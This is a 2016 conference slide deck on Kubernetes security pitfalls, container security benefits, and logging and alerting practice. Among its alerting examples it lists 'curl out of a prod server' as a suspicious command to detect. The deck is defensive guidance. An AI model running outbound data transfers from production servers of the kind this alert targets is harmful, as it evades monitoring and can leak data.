"Kubernetes is Google's answer to container orchestration and some of the tools it provides developers are indistinguishable from black magic. However, with the power that it provides it also can let you fall into some security holes that are hard to climb out of. In this presentation we'll go through those pitfalls, along with some huge security benefits that using such a fluid containerized environment can provide you. Learn lessons from the head of security of a recently acquired financial tech startup who is all-in on Kubernetes and has the bruises and badges of honor to show for it. For a DevOps practitioner or enthusiast this will allow you to walk a way with a better understanding of Kubernetes as a whole, and how to secure it right from the ground up. Learn to monitor your infrastructure properly for malicious behavior, how to respond to incidents, and some simple best practice security hygiene."

1. 1The retirement benefit that benefits everyone
Matt Johansen
Director of Security
Honest Dollar
@mattjay
The retirement benefit that benefits everyone
A Simple, Portable & Affordable
Savings Solution
May 2016
Sk8ing on Thin Ice: A Crash
Course in Kubernetes & Security

2. 2The retirement benefit that benefits everyone
Honest Dollar is a company
dedicated to helping people save
in a society built on spending

3. 3The retirement benefit that benefits everyone
Matt Johansen
- Security Guy
- Wannabe Developer
- SXSW, BlackHat, DEFCON,
RSA, more++

4. 4The retirement benefit that benefits everyone
Agenda
Security & Kubernetes
What is it? | What is Kubernetes
anyway? (This portion will not
include how to pronounce it)
Why use it? | “Because
$Cool_Unicorn is using it” is not
acceptable.
Security Pitfalls | Trust me. There
are holes to fall into.
Security Benefits | You mean
there are benefits to
containerization outside of
DevOps?
Examples | No Live Demos™ -
But lets walk through some cool
security monitoring, logging,
alerting, and other tricks. Along
with some basic security
hygiene.

5. 5The retirement benefit that benefits everyone
Kube
Kubernetes

6. 6The retirement benefit that benefits everyone
Kube
Kubernetes
Source: Imesh Gunaratne - Intro to
Kubernetes

7. 7The retirement benefit that benefits everyone
Kubernetes
Things to keep in mind
YAML Land - Config Management is
hard
Different Environments - We’re
running a company here. Prod, Dev,
QA, etc. need processes.
Persistence (and not) - Pods die. Its
okay (and sometimes awesome).
Manage your data intelligently.
Secret Sauce - Docker is not the
magic. Orchestration is the magic.
Learn and love your Services, RCs,
and Pods.
Kube
Words I might say
Node - Worker VMs.
Pod - Group of Containers.
Replication Controller - Manages
Pod lifecycle & config.
Service - Config for a set of Pods.
Cluster - Single network & group of
Nodes.

8. 8The retirement benefit that benefits everyone
Pitfalls

9. 9The retirement benefit that benefits everyone
Cluster

10. 10The retirement benefit that benefits everyone
Cluster

11. 11The retirement benefit that benefits everyone
Cluster
Bad Idea
Nearly identical YAMLs. Duplication of work and error prone.

12. 12The retirement benefit that benefits everyone
Cluster
Separation of Concerns

13. 13The retirement benefit that benefits everyone
Environment Stability
Cluster
Options
• Puppet (kinda)
• Shell scripts + templates
• rakefiles + templates (Us Currently)
Lessons Learned
• Launch as much as possible, with the fewest
commands possible.
• Track versions and automate container building
if possible.
• Automate testing / build pipeline to watch out for
regressing over hot fixes.
• Track versions (and dependencies!) between
environments

14. 14The retirement benefit that benefits everyone
IP
Load Balancing
Watch your logs if you do this. You’ll lose origin IP.
Solution: Break nginx out of cluster (I know, I know)

15. 15The retirement benefit that benefits everyone
Loophole
kubectl
Whats wrong with this picture?

16. 16The retirement benefit that benefits everyone
Benefits

17. 17The retirement benefit that benefits everyone
Security Benefits
Security
Containerization
• Patching - Oh you mean `docker build`?
• One process per container - Less
vulnerability surface for stuff you don’t use.
• Mobility - Host agnostic
• Segregation - Less pivot surface
• Typically short lifespan - Less old, stale,
vulnerable systems.
Kubernetes
• Upgrade process - Bring nodes down, bring new
ones up. Pods find their way to a new home.
• Log granularity - Know and prioritize your log
events.
• Build pipeline and web hook friendly.*
• Rate of change it enables is incredibly fast.
• Transient by nature.
*Continuous Integration is no longer a ‘nice to have’. For security it is a
must.

18. 18The retirement benefit that benefits everyone
Fix Fast
Continuous Integration
Good luck with you two week release cycle.
Source: Verizon DBIR - 2016

19. 19The retirement benefit that benefits everyone
Watch Everything
Monitoring
Log everything. Watch your logs.
Source: Verizon DBIR - 2016

20. 20The retirement benefit that benefits everyone
Monitoring
Log all the things
Logging
• ElasticSearch
• rsyslog + RELP
• auditd (go-audit)
• OSQuery
• nginx logs
• Docker logs
Alerting
• ElastAlert
• Slack bots
• SSH Connections
• Suspicious commands (curl out of a prod server?)
• File watch
• Anomalies (Geo, IP, data movement, spikes, etc.)

21. 21The retirement benefit that benefits everyone
Matt Johansen
Director of Security
Honest Dollar
@mattjay
The retirement benefit that benefits everyone
A Simple, Portable & Affordable
Savings Solution
May 2016
Thank You